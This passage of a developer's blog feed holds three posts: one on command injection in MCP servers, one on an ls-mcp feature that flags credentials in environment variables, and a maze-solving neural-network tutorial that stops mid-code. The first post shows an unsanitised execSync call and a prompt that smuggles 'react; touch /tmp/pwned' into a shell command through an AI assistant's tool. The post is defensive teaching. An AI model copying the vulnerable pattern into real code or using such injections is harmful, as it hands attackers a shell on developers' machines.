&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;output&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;execSync&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`npm view ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;packageName&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Breaking it down:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;execSync&lt;/code&gt;: A function that runs a command directly on the computer’s command line.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;npm view&lt;/code&gt;: The legitimate command we want to run.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;${packageName}&lt;/code&gt;: The input from the user’s prompt, which we foolishly trust.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Think of it like a “too-helpful butler” analogy:&lt;/p&gt;
&lt;p&gt;You (the user) tell your butler (the MCP server) to “Fetch me information on the &lt;code&gt;react&lt;/code&gt; package; and also &lt;code&gt;touch /tmp/pwned&lt;/code&gt;.” A smart butler would question that second part. A vulnerable one just does both, no questions asked.&lt;/p&gt;
&lt;p&gt;Here’s how the hack unfolds, step-by-step:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Install a “Helpful” Tool&lt;/strong&gt;
A developer adds a new MCP server to their IDE to quickly look up info on npm packages. It seems harmless.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Use it Normally&lt;/strong&gt;
The developer prompts their AI: “What’s the last release date of the &lt;code&gt;nodemon&lt;/code&gt; npm package?” The server executes &lt;code&gt;npm view nodemon&lt;/code&gt; and returns the correct info. Everything looks great.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: The Malicious Prompt&lt;/strong&gt;
An attacker crafts a malicious prompt: “What’s the last release date of &lt;code&gt;react; touch /tmp/pwned&lt;/code&gt;?”&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: The Injection&lt;/strong&gt;
The vulnerable server doesn’t clean the input. It mashes the strings together and runs this on the command line: &lt;code&gt;npm view react; touch /tmp/pwned&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5: Game Over&lt;/strong&gt;
The operating system sees a semicolon (&lt;code&gt;;&lt;/code&gt;) and runs two commands. First, it looks up &lt;code&gt;react&lt;/code&gt;. Then, it creates an empty file named &lt;code&gt;pwned&lt;/code&gt; in the &lt;code&gt;/tmp/&lt;/code&gt; directory. The attacker now knows they can execute &lt;em&gt;any&lt;/em&gt; command on the developer’s machine.&lt;/p&gt;
&lt;h3 id=&quot;wait-are-those-mcp-server-vulnerabilities-really-a-thing&quot;&gt;Wait, are those MCP Server vulnerabilities really a thing?&lt;/h3&gt;
&lt;p&gt;Ahh yes, my friend, they are very much a thing.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.nodejs-security.com/blog/create-mcp-server-stdio-command-injection-vulnerability&quot;&gt;Command Injection Vulnerability in Create MCP Server STDIO&lt;/a&gt; had a flawed tool definition that exposes system monitoring capabilities to untrusted input. This security flaw allow attackers to execute arbitrary commands.&lt;/p&gt;
&lt;p&gt;In another security advisory, &lt;a href=&quot;https://www.nodejs-security.com/blog/github-kanban-mcp-server-command-injection-vulnerability&quot;&gt;GitHub Kanban MCP Server was found vulnerable to Command Injection&lt;/a&gt; that threatens developer workflows. The MCP server failed to sanitize user input, allowing attackers to execute arbitrary commands on the host system.&lt;/p&gt;
&lt;h3 id=&quot;why-this-is-a-game-changer-for-security&quot;&gt;Why This Is a Game-Changer for Security&lt;/h3&gt;
&lt;p&gt;An AI assistant with a vulnerable MCP server becomes a direct, unsanitized shell into our machine, controlled by simple chat prompts.&lt;/p&gt;
&lt;p&gt;Prompt injection is one thing. Indirect prompt injection is another, and a whole new level of scary.&lt;/p&gt;
&lt;p&gt;This is how an attacker can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Steal your API keys and cloud credentials.&lt;/li&gt;
&lt;li&gt;Read your company’s private source code.&lt;/li&gt;
&lt;li&gt;Install ransomware.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The Kicker:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This doesn’t require a zero-day exploit. It preys on a developer’s natural workflow: moving fast and trusting third-party tools. A single, un-audited MCP server turns your helpful AI assistant into the ultimate insider threat.&lt;/p&gt;
&lt;p&gt;Command injection is how we let the trojan horse build itself.&lt;/p&gt;
&lt;p&gt;Now if only I could apply proper input sanitization to my life choices…&lt;/p&gt;</content:encoded></item><item><title>Secure Your MCP Servers with Environment Variable Risk Assessment</title><link>https://lirantal.com/blog/secure-mcp-env-var-risk-assessment/</link><guid>https://lirantal.com/blog/secure-mcp-env-var-risk-assessment/</guid><description>Learn how to enhance the security of your MCP server configurations by using the latest `ls-mcp` tool to detect and categorize credential risks in environment variables.</description><pubDate>Tue, 09 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The latest update to the &lt;a href=&quot;https://github.com/lirantal/ls-mcp&quot;&gt;ls-mcp&lt;/a&gt; tool introduces a crucial security feature: the ability to detect and assess the risk level of credentials stored in environment variables within MCP server configurations. This enhancement helps developers and security teams identify potential security risks by flagging high-risk credentials such as API keys and tokens. By integrating this feature, users can better secure their AI application environments and ensure compliance with security standards.&lt;/p&gt;
&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;Before diving into the new feature, ensure you have the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Node.js&lt;/strong&gt;: Current LTS version&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;npm&lt;/strong&gt;: Installed and configured&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access&lt;/strong&gt;: A system with MCP server configurations&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;understand-the-problem&quot;&gt;Understand the Problem&lt;/h2&gt;
&lt;p&gt;Environment variables are a common method for storing sensitive information like API keys and tokens. However, they pose a security risk if not managed properly. The &lt;code&gt;ls-mcp&lt;/code&gt; tool now includes a feature to detect and categorize these risks, helping you secure your MCP server configurations.&lt;/p&gt;
&lt;h2 id=&quot;feature-overview-credential-risk-detection&quot;&gt;Feature Overview: Credential Risk Detection&lt;/h2&gt;
&lt;p&gt;The new credential risk detection feature in &lt;code&gt;ls-mcp&lt;/code&gt; is designed to identify and categorize potential security risks in environment variables. This feature scans MCP server configurations for common patterns in environment variable names that suggest sensitive information, such as &lt;code&gt;API_KEY&lt;/code&gt; or &lt;code&gt;SECRET_TOKEN&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;why-this-matters&quot;&gt;Why This Matters&lt;/h3&gt;
&lt;p&gt;Identifying and categorizing credential risks is crucial for maintaining the security of your AI applications. By flagging high-risk credentials, you can take proactive measures to secure your environment and comply with security standards.&lt;/p&gt;
&lt;h3 id=&quot;how-it-works&quot;&gt;How It Works&lt;/h3&gt;
&lt;p&gt;The tool uses pattern matching and heuristics to detect environment variables that likely contain sensitive information. It then categorizes these variables based on their risk level, providing a clear indication of potential security threats.&lt;/p&gt;
&lt;h2 id=&quot;technical-implementation&quot;&gt;Technical Implementation&lt;/h2&gt;
&lt;h3 id=&quot;credential-detection-service&quot;&gt;Credential Detection Service&lt;/h3&gt;
&lt;p&gt;The credential detection service is the core of this new feature. It uses pattern matching to identify environment variables that may contain sensitive information. Common patterns include names like &lt;code&gt;API_KEY&lt;/code&gt;, &lt;code&gt;SECRET&lt;/code&gt;, and &lt;code&gt;TOKEN&lt;/code&gt;.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;mcpServers&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;firecrawl-mcp&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;npx&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;args&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;-y&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;firecrawl-mcp&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;transport&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;stdio&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;env&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;FIRECRAWL_API_KEY&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;12345&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Why this matters&lt;/strong&gt;: This example demonstrates how sensitive information is detected and flagged.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Verify&lt;/strong&gt;: Run the &lt;code&gt;ls-mcp&lt;/code&gt; tool and observe the CLI output for risk indicators.&lt;/p&gt;
&lt;h3 id=&quot;integration-with-mcp-config-parser&quot;&gt;Integration with MCP Config Parser&lt;/h3&gt;
&lt;p&gt;The credential detection feature is seamlessly integrated into the existing MCP config parser. This integration ensures that the detection process is part of the standard workflow, providing continuous security monitoring.&lt;/p&gt;
&lt;h3 id=&quot;render-service-updates&quot;&gt;Render Service Updates&lt;/h3&gt;
&lt;p&gt;The CLI output has been updated to include visual indicators of risk levels. This enhancement allows users to quickly assess the security status of their environment variables.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The new credential risk detection feature in &lt;code&gt;ls-mcp&lt;/code&gt; is a significant step forward in securing MCP server configurations. By identifying and categorizing potential security risks, this feature helps you protect your AI applications and comply with security standards.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Try the new feature&lt;/strong&gt; by updating &lt;a href=&quot;https://github.com/lirantal/ls-mcp&quot;&gt;ls-mcp&lt;/a&gt; and running it on your configurations.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Follow on X/Twitter&lt;/strong&gt; for new guides and security research.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Explore more code examples&lt;/strong&gt; and related work on &lt;a href=&quot;https://github.com/lirantal&quot;&gt;GitHub&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Follow on X/Twitter for updates and new guides.&lt;br&gt;
Explore more code examples and related work on &lt;a href=&quot;https://github.com/lirantal&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded></item><item><title>Solving an ASCII Maze with a Neural Network in JavaScript</title><link>https://lirantal.com/blog/solving-an-ascii-maze-with-a-neural-network-in-javascript/</link><guid>https://lirantal.com/blog/solving-an-ascii-maze-with-a-neural-network-in-javascript/</guid><description>A step-by-step guide to training a neural network to solve an ASCII maze using JavaScript and brain.js.</description><pubDate>Sun, 07 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wouldn’t it be cool if we could use neural networks to solve a maze? Well, we can! You’ll also find the complete code on &lt;a href=&quot;https://github.com/lirantal/maze-solver&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Basically we’re going to train a neural network to find the path from the start (S) to the end (E) of a maze represented in ASCII format. The maze will be represented as a grid of characters, where &lt;code&gt;#&lt;/code&gt; represents walls, &lt;code&gt; &lt;/code&gt; (space) represents open paths, &lt;code&gt;S&lt;/code&gt; is the start point, and &lt;code&gt;E&lt;/code&gt; is the end point.&lt;/p&gt;
&lt;p&gt;Imagine something like this. Actually, you don’t need to imagine. The maze is in ASCII 😆 so you can literally take a look:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{error: 0.004700880403111688, iterations: 75}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Solution found&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Path through the maze:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# # # # # # #&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;S &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#   #&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# # # * #   #&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#     * * * #&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#   # # # * #&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#       # * E&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# # # # # # #&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ever wondered how artificial intelligence can navigate complex mazes? Let’s set out to explore how to train a neural network to solve mazes using JavaScript and the &lt;a href=&quot;https://github.com/BrainJS/brain.js&quot;&gt;brain.js&lt;/a&gt; library. By the end, you’ll have a practical understanding of maze representation, training data generation, and neural network application in Node.js. Let’s dive in!&lt;/p&gt;
&lt;p&gt;This is what we are going to build:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://github.com/lirantal/neural-network-solves-maze/raw/main/.github/neural-net-train.gif&quot; alt=&quot;Neural Network Solving a Maze GIF&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;Before we start, ensure you have the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Node.js&lt;/strong&gt;: Version 14 or higher.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;npm&lt;/strong&gt;: Version 6 or higher.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;brain.js&lt;/strong&gt;: Install via &lt;code&gt;npm install brain.js&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Basic understanding of JavaScript and Node.js.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;represent-the-maze-in-code&quot;&gt;Represent the Maze in Code&lt;/h2&gt;
&lt;p&gt;To solve a maze, we first need to represent it in a way that our neural network can understand. We’ll use a 2D array where each cell can be a wall (&lt;code&gt;#&lt;/code&gt;), a start point (&lt;code&gt;S&lt;/code&gt;), an end point (&lt;code&gt;E&lt;/code&gt;), or a path (&lt;code&gt; &lt;/code&gt;).&lt;/p&gt;
&lt;h3 id=&quot;1-define-the-maze-structure&quot;&gt;1. Define the Maze Structure&lt;/h3&gt;
&lt;p&gt;Why this matters: A clear representation allows us to map positions to coordinates, which is crucial for processing and training.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;maze&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;S&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;E&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;];&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;2-map-positions-to-coordinates&quot;&gt;2. Map Positions to Coordinates&lt;/h3&gt;
&lt;p&gt;Mapping positions helps in tracking the agent’s movement through the maze.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getCoordinates&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;maze&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;coordinates&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  maze.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;forEach&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;row&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;y&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    row.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;forEach&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;cell&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
